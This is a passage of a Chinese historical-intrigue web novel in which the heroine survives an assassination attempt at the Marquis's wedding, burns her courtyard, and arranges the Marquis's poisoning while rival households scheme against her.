“娘。”骆文缨的声音带上了哽咽。 “您放心,我一定会过得特别特别好的。您要好好调养身体,等我生了孩子带他来看您。告诉他,这就是他的外祖母,以后要好好孝顺外祖母。” “好……娘等着……” 尉迟兰心艰难地抬起另一只手,颤巍巍地想去抚摸女儿的脸颊,却因为无力而颓然落下,只虚虚地擦过骆文缨鬓边垂下的流苏。 “傻孩子,大喜的日子……哭什么……” 尉迟兰心的眼神开始有些涣散,但她还是强撑着精神不想让女儿担心。 一旁的烈国公夫人瞧见这一幕,眼眶也湿润了。 她别过头去偷偷擦掉了眼泪,她知道姑母快不行了,母女这一别,怕是永远不能再见了。 这时,门外传来了喜娘刻意压低却难掩催促的声音:“小姐,吉时快到了,该上轿了。” “娘,那您答应我,一定要等我三日后回门。日后我生了孩子,您也要去照看我,不然我什么都不懂,我会害怕的。”骆文缨着急地把最后的话说完,害怕以后再也无法见到母亲。 尉迟兰心艰难点头,而后用尽全身力气拔高声音催促她:“走!快走!别误了吉时!” 骆文缨抿着唇,跪下冲躺在床上的母亲行了一个最庄重的叩别礼。 额头重重地磕在冰冷的地砖上,发出沉闷的一声响。 再起身时,她没敢再看母亲一眼,咬紧了后槽牙憋住眼泪任由喜娘替她盖上了红盖头,上了花轿,离开了烈国公府。 * 定远侯府内一片喜气洋洋。 林姨娘紧张不已,在柳姨娘的屋子里来回踱步。 今日侯爷娶新夫人,她们是妾上不得台面,因而不得出席前边的宴席,只能在后院候着。 可她这颗心扑通扑通直跳,根本安静不下来。 “你就不能坐着么,走来走去,走的我头晕。”柳姨娘没好气地放下了手里的书看着她。 “我这不是担心么。”林姨娘一屁股坐到了她边上,忧心忡忡。 “万一温家人跑来杀我怎么办,我这两日都不敢睡觉不敢吃饭了。” “你傻啊,吃丫鬟们的饭不就好了。温家人总不能丧心病狂地给整个侯府下药吧。”柳姨娘看得很开。 “这倒也是。”听她这么说,林姨娘放松了不少。 没过多久,角门的下人忽然来禀告:“林姨娘,门外有人求见,说是您的母亲。” 林姨娘的心扑通扑通直跳,不会吧,温家不会这么大手笔将她娘从青州接来了吧。 “我,我……”她无助地看向了柳姨娘。 她现在该怎么办。 “此事可曾禀告了侯爷?”柳姨娘沉声开口。 “侯爷今日大喜,这等小事怎敢惊扰。”传话的婆子脸上堆着尴尬的笑,眼神闪烁。 “林管家呢?他可点头应允温家人入府探望林姨娘?”柳姨娘步步紧逼。 婆子顿时语塞,支吾着说不出完整话来。 她心里清楚得很。 侯爷明令禁止温家人踏入侯府。 林姨娘的生母,不过是温家一个下人,林管家怎会违逆侯爷的意思放她进来? 只是那妇人先前塞了一两银子给她,又许诺事成之后再给二两。 这白花花的银子晃花了眼,她才鬼迷心窍,胆大包天地绕过侯爷和管家,直接寻到了林姨娘跟前。 原想着林姨娘是个好说话的性子,那二两银子轻轻松松就能到手,不曾想她竟然与柳姨娘这个难缠的呆在一块。 “侯府的规矩,你是忘了,还是压根不放在眼里?”柳姨娘声调陡然拔高,厉声质问。 “妾室亲眷探视,须得先行通禀主母!主母不在,当报与侯爷知晓。便是侯爷不得闲,也该由管家定夺。你这般越级私传,是何居心?!” 林姨娘被她拔高的音调吓了一跳,赶忙躲到了她身后,看着婆子像是在看什么洪水猛兽。 那婆子被柳姨娘厉声喝问,吓得一哆嗦,膝盖发软几乎要跪下去。 但她想到那还没到手的二两银子,又强自镇定下来。 脸上迅速堆起一副愁苦又委屈的神情,声音也带上了哭腔: “哎哟喂,柳姨娘明鉴啊!”婆子拍着大腿,仿佛有天大的冤屈。 “老奴这不是看着林姨娘的娘亲实在可怜么。您是没瞧见,她娘亲在外头哭得那叫一个肝肠寸断,头发都白了大半,直说想闺女想得夜不能寐,家中又出了事情……” 她话还没说完,林姨娘就从柳姨娘身后急急奔了出来。 “我家中出了什么事?” “这我哪知道啊,您的娘亲也没说呀。”婆子双手一摊,十分为难。 林姨娘一颗心七上八下,纠结不已。 “能有什么事,横竖不就是咱们猜的那些。”柳姨娘拽了她一把,提醒道,“你可别犯傻。” 这个节骨眼亲人忽然出现,一定是温家的圈套。 目的是为了逼她们就范。 林姨娘哪里能不知道呢,只是那可是她的亲娘啊。 她怔怔地看着柳姨娘,眼泪“歘”地落下。 第160章 截杀晏逐星 “柳姐姐,我知道你是为我好,可是……那毕竟是我的亲娘……”林姨娘哽咽着开口。 “她生了我,养了我,把我送到夫人身边伺候那天,她哭了好久。” “她发了月银,会给我买新的珠花,我跟着夫人来京城时,她给了我二两银子当压箱银。那些都是她背着我爹和兄长攒下来的。我阿娘也是疼过我的。” 说到最后,她已经泣不成声。 柳姨娘已经明白她会做出什么决定了。 她别过脸不再看她:“随你。反正出事了别怨我没提醒你。” “嗯。”林姨娘点了点头,流露出视死如归的表情。 她握住柳姨娘的手,凑到她耳边低声道,“我那二两压箱银一直没动过,从前侯爷夫人赏的银簪子还有值钱玩意也都藏在床底第三格青砖下。我若不在了,就都留给你。” “至于过年过节给我上香就不用了,我有侄儿呢。” “只是我的丫鬟雀儿和我一样不是很聪明,我若不在了,她恐怕也没什么好前程。” “她才十四,柳姐姐,你到时候多帮帮她。” 她絮絮叨叨地开口,眼泪早已模糊了双眼。 柳姨娘硬是没有回头看她,也没回应她。 林姨娘吸了吸鼻子,用帕子将眼泪擦干净,这才看向传话的婆子。 “走吧,带我去见我娘。” 直到林姨娘的身影彻底消失在院门外,柳姨娘强忍着眼泪才落下。 “蠢货!天字第一号的大蠢货!” 她咬着牙,声音带着哽咽的颤音。 “谁稀罕你那点压箱银啊。” “什么好东西,说得好像我没被赏过似的。” “我又不是你亲姐姐,把丫鬟托付给我做什么,新主母来了,我都自身难保。你以为我很得宠吗。” 柳姨娘一边骂一边气得直跺脚。 片刻后,她猛地抿紧了唇瓣,柳眉倒竖,眼中的犹豫变成了破罐子破摔的决绝。 她使劲用鞋尖碾了碾脚下的青砖,咬牙切齿怒骂道:“罢了……就让我也当一回蠢货好了!” * 定远侯府张灯结彩,红绸铺满了回廊庭院,喧天的锣鼓与宾客的贺喜声交织成一片灼人的喜庆。 晏逐星端坐于喧嚣的迎客厅内,饶有兴致地瞧着定远侯满面红光地迎接骆文缨回府。 三拜九叩,礼数周全,在一片祝福声中,骆文缨被簇拥着送入了洞房。 礼成之后,定远侯意气风发,仿佛扫尽了之前所有的阴霾。 他端着酒杯穿梭于席间,与满堂贵客开怀畅饮。 “恭喜恭喜。” “同喜同喜。” 醇酒佳肴,觥筹交错,劝酒声、恭贺声此起彼伏。 晏逐星只等着温家送来的毒药被定远侯服下,她擦了擦眼睛,开始酝酿眼泪。 最近过得太顺心,很难说哭就哭了。 还是要提前准备一下。 不曾想,有人却打断了她。 “大小姐,柳姨娘在玉澜院候着,说有要事求见,是关于二小姐的。” 晏逐星认出了她。 是柳姨娘身边的丫鬟丁香。 九栀听到这话,眼里流露出一抹讶异。 晏逐星冲她微不可察地摇了摇头,而后看向丁香,唇边勾起了一抹玩味的笑:“好呀,那咱们走吧。” 九栀当即跟了上去。 丁香在前带路,晏逐星和九栀一前一后地跟在她后边。 玉澜院依旧保持着从前的布局,没有任何变动。 今日乃是定远侯大喜之日,各个院子的人手都去前院帮忙了。 玉澜院也不例外。 如今这儿只留了一个小丫鬟金巧看管院子。 金巧正百无聊赖地拨弄着廊下的花叶,猛抬头见晏逐星现身院门,惊得瞳孔骤缩,一句“大小姐”刚挤到舌尖。 一道利箭就从她身后的阴影处暴射而出,直冲晏逐星的心口而去。 电光石火间,晏逐星没有半分迟疑,猛地将引路的丫鬟丁香狠狠拽过挡在身前。 “为什……”丁香的惊疑甚至来不及出口,利箭就透胸而过。 她茫然地看着天空,身体软软瘫倒。 为什么她什么都没说,什么都还没做,大小姐就发现了不对劲? 暗处朝华大长公主派来的暗卫见一击不中,果断射出第二箭。 金巧吓得尖叫了起来。 然而,下一秒她的尖叫就卡在了喉咙里。 晏逐星身形鬼魅,以最快的速度冲到了廊下,大喊道:“九栀,点灯笼。” 潜伏在暗处的暗卫闻声一怔。 点灯笼? 命悬一线之际,点哪门子的灯笼? 没等他们想明白,晏逐星已如游鱼般滑入屋内。 他们射出的箭矢钉在门框上,扑了个空。 “追!”暗卫首领轻声下令。 四道黑影从檐顶疾扑而下,杀气腾腾地分作两路。 两人撞向房门去追晏逐星,另外两人则直扑另一边的九栀。 九栀反应奇快,在暗卫的利爪即将攫住她的前一瞬,旋身擦过灯笼,指尖的火折子精准点向其中一盏红纱灯芯。 灯芯燃亮,昏红的光晕瞬间漫开。 九栀用力将藏在灯笼后方的暗锁拉下。 廊下悬挂的十盏灯笼底座瞬间翻转,密密麻麻的箭矢如暴雨般激射而出。 扑向晏逐星的第一个暗卫连惨叫都没来得及发出,就被箭矢射中后脑轰然倒地。 另一人刚闪开一支,还没来得及躲开第二支,就被灯笼射出的铁箭贯穿胸膛狠狠钉在了地上,鲜血汩汩涌出,身体不受控制地抽搐了起来。 追击九栀的两名暗卫被这一变故惊得魂飞魄散,第一时间找了地方闪躲。 饶是如此,其中一人的肩头仍被利箭给擦出了一道血痕。 他们做梦也想不到,侯府大小姐的院子里竟然藏了这样精妙的杀人机关。 大长公主派了他们四人来杀一个侯府千金,如今人还没碰到分毫,自己人就先折损了两个。 简直是奇耻大辱。 余下两名暗卫对视一眼,都看到了彼此眼中的杀意。 他们今日务必按照大长公主的吩咐,杀了晏逐星,而后纵火烧了这玉澜院,让她死无全尸,将她挫骨扬灰。 否则,死无葬身之地的人就是他们了。 第161章 真是缺大德 灯笼里的箭矢有限,箭雨一停,二人就冲进了晏逐星的屋子里。 这一回他们学聪明了。 唯恐晏逐星屋子里还有什么杀人的机关,因此先用地上的尸体来探了路。 尸体撞开房门,翻滚着砸在屋内的地面上发出沉闷的响声。 屋内一片死寂。 两人舒了一口气。 确认安全后,他们一前一后紧贴着门框两侧迅速掠入屋内。 然而目之所及之处,空无一人。 看着打开的窗户,两人脱口而出。 “糟了!” 不会让她跑了吧。 他们正欲去追,一大片灰白色的粉末毫无征兆地从他们头顶的房梁缝隙间倾泻而下。 粉末细密呛人,带着一股刺鼻的辛辣气味,瞬间模糊了他们的视线。 “啊,我的眼睛!” 两人猝不及防被这粉末糊了一脸,剧痛和强烈的灼烧感让他们瞬间失去了方向感,根本看不清面前是什么情况。 他们下意识地挥舞着手中的刀自保。 蹲在窗户外边的晏逐星瞬间起身抬起双臂,藏在袖中的精巧袖箭直冲两人而去。 虽然看不清,但多年刀口舔血的直觉让两人闪身躲过了这一箭。 但架不住晏逐星还有第二箭,第三箭。 两人狼狈闪躲,但肩膀和腿还是受了伤。 同一时间,先前蹲在横梁上撒粉的九栀一跃而下,跟着补刀。 暗卫虽视线受阻但听力仍在,感受到侧面袭来的锐利剑气心头警铃大作,他猛地回刀格挡。 晏逐星也不再躲藏,掏出了藏着的匕首翻身入内与九栀联手绞杀二人。 她面色冷漠,招招致命。 她不想死,那就只能是他们死了。 主仆二人联手,皆是搏命的架势,二人占了先机,因而处于上风。 公主府的两个暗卫只觉得憋屈极了。 最初头儿让他们四人来刺杀晏逐星时,他们还觉得杀鸡焉用牛刀,杀一个千金小姐,一个人就够了。 结果现在他们四人都要死在她的院子里了。 他们如何能甘心呢。 暗卫咬牙,开口想要分散她的注意力而后偷袭。 “你就不想知道我们是谁派来的吗?” 回答他的是晏逐星竭尽全力的冷漠一击。 一刀,穿心。 另一边,九栀也结束了战斗,一剑封喉。 两个暗卫死不瞑目。 晏逐星踢了先前说话的暗卫一脚:“没人告诉过你么,杀人的时候废话不要太多。” 谁要杀她? 嘁。 这么显而易见的问题,有什么可问的。 不是温家人就是朝华大长公主。 温家人既然已经找了林姨娘和柳姨娘让他们给定远侯下毒,就不会特意命暗卫来杀她。 一起用毒药把她送走不就得了。 所以这一批暗卫,多半是大长公主府的。 九栀搜完了尸体,将他们带来的火折子拿了出来,随后又去检查了一圈,发现院子里不知何时被人撒了桐油。 她沉声道:“小姐,他们打的是毁尸灭迹的主意。” 这事一出,晏逐星就确定了,这些人一定是大长公主府的。 大长公主恨她,所以希望她和福安郡主一样死得惨烈。 “收好箭矢,而后烧了玉澜院。”晏逐星略一思索,吩咐了下去。 反正值钱的东西她也已经拿走,玉澜院存在与不存在都无所谓了。 死了那么多人,尸体也不好解释,一把火烧了一了百了。 正好可以掩饰她之前设下的机关。 过去在定远侯府的日子,她总觉得很不安,因而为了活下去,她做了很多很多准备。 每日雷打不动的习武,即便是上回摔伤了,手上的功夫也没有耽误,腿不能用,她就练习射箭。 院中的机关,是她一点一点和九栀布下的,当初是为了防备温如霜狗急跳墙,买凶杀人准备的。 没想到如今竟然用在了大长公主府的暗卫身上。 果然老天爷不会亏待用心准备的人,当初没用上,今日却救了她一条命。 “是。”九栀当即应下,准备把这些人都给烧了。 若不是半个时辰前,柳姨娘乔装打扮亲自来找了大小姐,将温家胁迫她和林姨娘家里人,逼她们给定远侯下药一事说了出来。 求大小姐救林姨娘一命。 她们刚刚恐怕真的会以为柳姨娘要在玉澜院见大小姐。 朝华大长公主的人这一回真是失算了。 晏逐星和九栀重新换了一身衣裳,收拾了一下。 正准备放火烧院子,阮寄薇就挺着大肚子风风火火地赶来了。 柳姨娘搀扶着她,她们身后还跟着两个健硕的仆妇,仆妇一左一右地钳制着族长的妻子汪氏。 汪氏嘴被堵上了,唔唔唔地想要发出声音。 “叫什么叫,你这不干人事龌龊下流的老虔婆!”阮寄薇抬手给了她一耳光。 晏逐星有些讶异。 一段时间不见,阮寄薇气性变大了呀。 不等她发问,阮寄薇就竹筒倒豆子似的把事情经过说了出来:“大小姐,她鬼鬼祟祟的想要给你下药,幸亏让我给逮着了。” 晏逐星听完整个人目瞪口呆。 汪氏竟然给定远侯和她的酒水里都下了催情药。 “侯爷和大小姐虽然不是亲生父女,但谁能否认他们父女的情谊?!侯爷早就说过了,大小姐永远是他的女儿。你做这种事,真是缺了大德,也不怕日后断子绝孙。”阮寄薇狠狠啐了一口唾沫到她脸上。 说完她别过头,这才瞧见了院落中的尸体,吓得“啊”了一声。 柳姨娘也吓了一跳,但她没喊出声。 她紧紧扶住了阮寄薇。 阮姨娘肚子里的孩子可是万万不能出事的。 她可答应过大小姐了,要护好阮姨娘。 “无妨,都是想杀我的刺客。准备一把火烧了。”晏逐星轻描淡写地解释。 柳姨娘长长地舒了一口气。 大小姐果然不是寻常闺阁女子能比的。 她之前做的决定真是做对了。 她早就知道阮寄薇投靠了大小姐,因而她先前决定赌一把,将温家的事情和盘托出,求大小姐救命。 现在看来,她赌赢了。 大小姐杀了人都能面不改色,一看就不是池中之物,她一定有办法保下她和林姨娘。 “哦,那就烧了吧。”阮寄薇点点头。 大小姐都敢让她混淆侯府血脉,杀几个刺客多大点事啊。 阮寄薇接受良好。 她看向汪氏,询问晏逐星的意思:“那她呢?要怎么处理?” 晏逐星眉头微皱,果断道:“既然她找死,那就成全她吧,把她和这些刺客一块烧了吧。” 听到晏逐星要把她烧死,生死攸关之际,汪氏迸发出了前所未有的力气。 她挣脱了两个仆妇的钳制,一把拽掉了口中的布,上气不接下气道:“大小姐,阮姨娘误会了,我绝对不会干那样丧天良的事情啊。” “你敢说你没下药?我的丫鬟可是亲眼所见!”阮寄薇没想到她竟然还敢狡辩。 “我是下了,但绝对不是您说的那个意思啊。”汪氏崩溃了。 阮姨娘的想法也跟常人的太不一样了吧,那样的事情她干了有什么好处啊。 汪氏看着一地的尸体,又看了看晏逐星冷漠的眼神,不敢撒谎,直接把所有的事情都说了出来。 第162章 定远侯死了 原来,自打上回晏逐星走后,汪氏代管家的权利就被定远侯收回了。 汪氏借着帮忙操持定远侯婚宴一事厚着脸皮留在了侯府,她把自己的娘家侄女也给叫来了。 想着趁定远侯娶新妇这日,让侄女和定远侯生米煮成熟饭,届时侄女当不上侯府主母,当个妾室也不错。 毕竟侯府如今没有继承人。 若她的侄女能抢先一步生下儿子,侯府不还是他们的么。 于是她才想着给定远侯下催情药。 晏逐星听完,觉得她说得倒也合情合理。 汪氏想要的始终都是侯府的荣华富贵,没必要让她和定远侯身败名裂。 “那你为何要给我下药?”晏逐星问道。 汪氏咽了咽口水,挣扎着要不要说实话。 “你知道的,我这个人向来没什么耐心。”晏逐星淡漠地扫了她一眼,将腰间的软剑解下,直指汪氏喉间。 “我数到三,你若不说,便给他们陪葬。一、二……” 听到这话汪氏吓坏了,涕泪横流地冲上前抱住晏逐星的腿,嚎哭道:“我说,我全都说还不行吗。” “是卫国公府的一个管事嬷嬷让我干的。”汪氏毫不犹豫地就把幕后之人给卖了。 晏逐星:“……” 哇,定远侯今日的婚宴可真是热闹极了。 先是温家人要下毒,后是大长公主派出暗卫刺杀,现在卫国公府的人也来掺一脚。 这些人有完没完? 难道是她表现得太客气了,让他们产生了谁都可以踩她一脚的错觉? 晏逐星冷笑。 虽然汪氏供出来的只是卫国公府一个小小的管事嬷嬷,但她心知肚明,要对付她的只会是窦淑容。 她不明白窦淑容为何会恨她至此,非要让她身败名裂活不下去才满意吗。 就因为之前冰嬉宴上的事情? 晏逐星深吸一口气。 既然窦淑容非要掺和,那杀死定远侯的这个锅,就她来背吧。 林姨娘应该已经找到裴明镜了,也不知道等会儿他来查案,查到自己母亲头上会是一个什么表情。 * 定远侯正与忠毅伯把酒言欢,脸上堆满了春风得意的笑容。 酒酣耳热之际,就瞧见林管家面色惨白地冲了过来。 事态严重,林管家也顾不得礼数,几乎是扑到定远侯耳边急促低语:“侯爷!大事不好!玉澜院起火了,大小姐好像还在里头没出来呢!” “你说什么?!”定远侯惊得手一松,手里的酒杯砸在地上摔得粉碎。 这番举动引得附近几位宾客侧目。 忠毅伯放下酒杯,关切地问:“鸿升兄,何事如此惊慌?” 定远侯眨眼间换上了一副云淡风轻的笑容。 他摆摆手,对着周围投来目光的宾客们朗声道:“嗐,无妨无妨!下头人毛手毛脚,一点子小事都办不利索,惊扰了各位的雅兴,真是该打!” 忠毅伯将信将疑,但见他神色如常,便也笑着举杯:“无事便好,来,再饮一杯!” 定远侯笑着举杯回应,眼神却飞快地扫向玉澜院的方向。 此刻前院喧嚣,玉澜院的位置又偏,尚未有黑烟冲天而起。 他心下稍定,趁着举杯饮酒的间隙侧过脸,用只有林管家能听到的声音吩咐道: “听着,立刻带人过去压住火势,别让它烧大了惊动前头。” 他顿了顿,声音压得更低。 “至于大小姐的事……” “若她命大,算她造化。若她……” 他没说完,但林管家也已听懂了他的言外之意。 侯爷这是要让大小姐自生自灭啊! “重点是,管好下人的嘴。今日之事,一丝一毫都不许传到这前院来!若让我听到半句风言风语,唯你是问!” 定远侯面色冷凝。 婚宴才进行到一半,正是与京中权贵联络感情的关键时刻。 若让这些好不容易才借着国公府名头请来的贵客知道后院失火,甚至还死了人,他们必定会立刻寻由头告辞。 那他寄予厚望的这场婚宴,岂不成了笑话? 至于晏逐星,一个得罪了朝华大长公主的女儿,怕是没有多少前程了。 如今他也已经娶得骆文缨,有没有晏逐星去与烈国公府维系感情也不那么重要了。 林管家听到这话,只觉得一股寒气从脚底直冲头顶。 看着定远侯那张堆满假笑的脸,他嘴唇哆嗦了一下,终究不敢多言,只深深地垂下头:“是,小的明白。” 说完,他几乎是连滚爬爬地退了下去。 定远侯这才彻底转过身,脸上重新挂满热络的笑容,他高举酒杯继续与宾客们推杯换盏,谈笑风生。 仿佛什么都没发生。 晏逐星听完了林管家转达的话,笑了。 她就知道,定远侯这样自私自利的男人,对她好只是因为她有利用价值。 什么妻子女儿,都比不过权势。 “让他喝下这碗醒酒汤,你能做到吧?”晏逐星将温家送来的毒药悉数放到了醒酒汤里。 林管家猛地摇头,哆嗦道:“大小姐,那是弑主,我不敢啊……” “你的孙儿,难道不比定远侯重要么?”晏逐星微微一笑,将手中的长命锁晃了晃。 林管家彻底崩溃了。 他的孙子林南才刚刚满周岁,学会喊的第一个人不是爹也不是娘,而是他这个阿爷。 他欢喜不已,特意给孙儿打了这个长命锁。 如今这个长命锁竟然落到了大小姐手中。 他扑通给晏逐星跪下了:“大小姐,南儿还小,您就饶过他这一回吧……” 晏逐星轻笑一声:“林管家你怎么能这么想我呢,我岂是那种会轻易要别人命的人。” 林管家看着玉澜院里的那些尸体,欲哭无泪。 大小姐说出这话,她自己信么? 晏逐星将他搀扶起来,一字一句道: “事成之后,你依旧是侯府最得力的管家。不仅如此,阮姨娘腹中的儿子诞下后,我会安排你的孙儿做他的贴身书童,一同进学,一同长大。” “若他学有所成,我会做主给他去了奴籍,让他日后可以参加科考。” “与侯府世子从小相伴的情谊,还有你孙儿不再为奴的以后。林管家,你要还是不要?” 林管家被她说动了,最终咬牙切齿地答应了下来。 他端着醒酒汤重新去了前院。 定远侯眼角余光瞥见林管家回来,眼神立刻扫了过来。 “如何了?”他压低声音询问。 林管家深深吸了一口气,努力控制着声音的平稳:“侯爷放心,火已经扑灭了!万幸没有蔓延开,只是玉澜院留下当值的丫鬟没能逃出来……” “什么?!”定远侯脸上的笑容瞬间僵住。 他的大喜日子死了人,真是晦气。 林管家将手中那碗温热的醒酒汤恭敬地递到定远侯面前,谄媚道:“侯爷息怒!都是那丫鬟命薄福浅,冲撞了吉日。不过您放心,小的已经处理好了,绝对不会让他们的家里人闹到您面前来。” 听到这话,定远侯心里舒坦了几分。 林管家再接再厉:“您今日饮了不少酒,不如趁热喝下这碗醒酒汤,新夫人和整个侯府都等着您主持大局呢。” 定远侯听到这话,觉得很有道理。 他可不能真喝醉了,不然今晚还怎么和骆文缨成就好事。 他毫不迟疑地接过林管家手中的汤碗。 碗壁温热,汤色清澈,看不出任何异样。 “还是你想得周到。” 定远侯对林管家贴心的安排表示满意,他仰起头将那碗醒酒汤痛快地一饮而尽。 林管家悬着的心落回了一半。 他这边已经搞定了,就等着大小姐下一步动作了。 没过多久,玉澜院火光冲天冒出了浓重的黑烟。 “着火了,快来救火呀。” 不知道是谁的声音嚷嚷了出来,侯府顿时一片骚乱。 定远侯目眦欲裂,不是说火已经灭了吗,怎么又烧起来了。 “林平,林平!” 定远侯怒吼着想要把林管家叫过来,但一股钻心剧痛猛地从腹中窜起,直冲头顶。 他眼前一黑,喉咙里只发出了一声短促气音,身体便不受控制地向前栽倒,狠狠砸在宴席之上。 巨大的声响吸引了所有人的注意力。 满堂宾客都吓了一跳,侯府顿时乱成了一锅粥。 有一好心人想要将定远侯搀扶起来,结果上前碰到他却发现他没了呼吸,不由惊叫出声: “啊,定远侯,他,他死了!” 第163章 到底死了没 一时间,定远侯大婚之日当场身亡的消息仿佛插上了翅膀飞遍了全京城。 窦淑容得知这个消息,脸色大变。 “怎么会是定远侯死了呢?晏逐星呢?”她焦急地追问。 她原想着给晏逐星下药,让晏逐星给永安王成就好事。 没想到永安王竟然被禁足了。 但错过定远侯成婚的大好时机,下一次还不知道要等到猴年马月。 今日去参加定远侯婚宴的人非富即贵,晏逐星一个商户女,即便与当中任何一人成就了好事,都是她的福气。 这么一想,窦淑容就果断让决定动手。 她盯着定远侯府有一段时间了。 定远侯府如今没有主母,后院简直漏得跟筛子似的。除了那个怀孕的阮姨娘严加防范,她的手伸不进去,其他人简直不要太好收买。 因而,她命人找上了汪氏。 汪氏对晏逐星很不满,一百两银子就让她铤而走险了。 只是她万万没想到,今日等来的不是晏逐星的消息,而是定远侯的死讯。 “夫人莫慌,老奴已经派人去打探了。我们又不曾害过定远侯,此事与咱们无关。”容氏赶忙安慰主母,心里也是一团乱麻。 定远侯今日身死,想必烈国公府定会让人仔细查探。 到时候,他们找上汪氏的事怕是瞒不住了。 “对,你说得对,我们又没害过定远侯,他死了和我们有什么关系。”窦淑容重重点头,惨白的脸上重新恢复了些许血色。 只是一想到晏逐星,她的心就直直地坠入了谷底。 这丫头真邪门。 她身边的人几乎都死绝了,可她还活得好好的。 她到底要怎样才能让她离她的儿子远一些? * 公主府。 朝华大长公主得知此事,笑出了眼泪。 她用指腹一遍遍摩挲着女儿留下的那副红玛瑙耳坠,声音低哑却清晰:“福安,母亲替你报仇了。” 她命暗卫将晏逐星杀死后一把火烧了,毁尸灭迹。 还留了后手,命人精心伪造了晏逐星与人私奔离开京城的假象。 这样,永远不会有人知道她已经死了,只会把她的尸骨当成普通丫鬟的随意处理。 她将在暗无天日的地底下长眠,无人祭拜,成为孤魂野鬼,比她的福安凄惨十倍、百倍。 一刻钟后。 朝华大长公主收起了耳坠子,察觉到了不对劲。 定远侯府失火、定远侯身亡的消息已经传遍京城,为何她派出去的暗卫一个都没回来。 难不成,他们任务失败了? 她急忙寻来驸马:“派出去的人可曾回来复命?” “未曾。”驸马脸色难看地摇了摇头。 “怎么可能!”朝华大长公主脸色瞬间变了。 公主府精心培养的四个暗卫,竟然杀不死一个小小的闺阁女子? “是不是谢翊宁派了人暗中护着她?”朝华大长公主咬牙切齿地询问。 “不曾。”驸马再一次摇头。 他们一直紧盯着永安王府,想抓住谢翊宁的把柄。 但他禁足期间,真就老老实实地呆在府里哪里都没去。 他身边的侍卫也一直呆在王府当中。 这一次,他并没有出手。 “不可能,绝不可能!派人去确认,晏逐星到底死了没!”朝华大长公主狠狠将身边的东西扫落在地,神色癫狂。 没过多久,管事就急匆匆地跑了回来。 “回禀殿下,定远侯府那位大小姐,如今正陪着新入门的当家主母在处理定远侯的身后事。” 听到这话,朝华大长公主气得浑身发抖。 竟然又让晏逐星逃掉了? “废物,全都是废物。”她厉声怒喝,拔出一旁侍卫的剑对着殿内的帷幔一顿乱砍。 她将这些帷幔当做了晏逐星,恨不得捅她个十刀八刀,让她立刻死在自己的面前。 发泄完后,她将剑“哐当”扔到了地上,冷声下令:“继续去打探定远侯府的情况,任何事都不许遗漏。” “是。”管事瑟瑟发抖,赶紧退了出去。 * 定远侯府内。 骆文缨得知定远侯死了,脑子一片空白。 这么快的吗? 那她岂不是都不需要和他商量“契约夫妻”的事情了。 幸福来得太突然,骆文缨一时间都没反应过来她如今是当家主母得赶紧去处理定远侯的身后事。 她第一反应是让人速回烈国公府。 这事可不能让娘亲知道,若是让娘亲知道她刚嫁过来,还没洞房定远侯就死了,娘亲怕是会打击得一命呜呼。 直到汪氏的侄女汪慧心跑进来大骂她丧门星。 “侯爷就是被你克死的,我姑姑也被你克死了,你就不该嫁到侯府来。” “呜呜呜呜。你当初克死了未婚夫,如今又克死侯爷,你不得好死!你就是丧门星!谁娶你谁倒霉。” “你赶紧滚出侯府去。” 骆文缨被骂得一头雾水,这是谁? 但不管是谁,敢挑衅她这个当家主母,她都不会放过。 她给了丫鬟鸣柳一个眼神。 鸣柳撩起袖子就上前啪啪啪抽了汪慧心几个大耳巴子。 “侯府下人竟这般没规矩?” “对主母不敬,当掌嘴。” 她动作太快,汪慧心甚至来不及闪躲。 挨了两个耳光后她想要躲开,就被另一个丫鬟给按住了。 那个丫鬟按住她,鸣柳负责抽她。 足足抽了她二十个耳光,将她脸都抽肿了,这才停手。 汪慧心脑子一片空白。 这位新来的当家主母太可怕了,她不该听姑父的来闹这么一出的。 她“哇”一下就哭了。 骆文缨眉头一皱,鸣柳就要抬手。 汪慧心瑟缩地往后躲。 骆文缨沉声道:“我问你答,不说就当刺客处理。” “我不是刺客,我姑姑是侯爷的婶婶!我姑父是侯爷的叔叔,也是晏氏一族的族长。你不能打我!”汪慧心赶忙表明身份。 没等她继续说下去,下人就跑来通传。 “小姐,侯府大小姐来了。” 听到是晏逐星,骆文缨松了一口气。 如今外边什么情况,她还真不清楚。 晏逐星来了就好了。 “快将她请进来。”骆文缨当即下令。 第164章 查到自己家 晏逐星刚走进来,汪慧心看到她立刻冲了过去,哭诉了起来:“大小姐,您可要替我做主啊。这女人刚嫁过来就克死了侯爷和我姑姑,我说了她两句,她就把我打成了这样。” 汪慧心摸着自己的脸,哭得更厉害了。 “她就是丧门星,您可得离她远些,省得把您也给克死了。” 她不遗余力地抹黑骆文缨。 骆文缨的丫鬟们听到这话气得牙痒痒,恨不得当场上去揍她。 但晏逐星还在,她们又不好轻举妄动。 没想到,下一刻晏逐星就干了他们都想干的事情。 她抬手扇了汪慧心一巴掌,力道大得将她的牙齿都打飞了一颗。 “谁允许你这般污蔑侯府当家主母的?” “她若是丧门星,那你站这屋里那么久,怎么还没被克死?”晏逐星一句话就让她破功了。 骆文缨和丫鬟们听到这话噗嗤笑出了声。 汪慧心目瞪口呆。 她还以为晏逐星会替侯爷打抱不平,和她姑父一块联手赶走骆文缨呢。 晏逐星毫不客气道:“至于你的姑母,她给侯爷下药,毒死侯爷后还想纵火烧死我,结果反倒把自己给烧死了。你身为同伙,京兆府一会儿就要找你去问话了。” “不,我什么都不知道。”汪慧心疯狂摇头。 “姑姑怎么可能害死侯爷,绝不可能。” 晏逐星冷冷道:“你姑姑收了别人一百两银子,已经找出来了,你自己去跟那些官差分辨吧。” 随后她扭头看了一眼九栀,九栀直接将人拽走了。 林姨娘已经将裴明镜请来,如今府中除了她和骆文缨,其他人都在被问话。 “星儿,到底出了什么事?什么下毒?什么烧死?侯爷究竟是怎么死的?”骆文缨一把握住了她的手。 晏逐星将今日的事情都说了出来。 “汪氏收了旁人的银子,想要给父亲下药,但具体什么药,还得让京兆府的官爷们去查。” “不仅如此,她还记恨我让父亲夺了她的管家权,为了泄愤,想把我给烧死,如今玉澜院已经全都烧毁了。” “林姨娘的亲娘今日来了侯府,告知她一家老小的性命都掌握在她手中,她若不给侯爷下毒,他们就死定了。温家人会杀了他们的。林姨娘很害怕,便去京兆府报官了。” “如今,京兆尹裴大人正在府中问话。” 骆文缨和丫鬟们都倒吸了一口凉气。 今日竟然发生了那么多事情? 晏逐星没有停下,继续道: “先前来的人是汪氏的侄女,多半是族长将她派来的。若你被赶出侯府,那么侯府的财产就可以归并到晏氏一族当中了。毕竟阮姨娘腹中的孩子还没出生呢。” “所以,表姑,您得拿起当家主母的姿态,出去主持大局。” 骆文缨郑重点头。 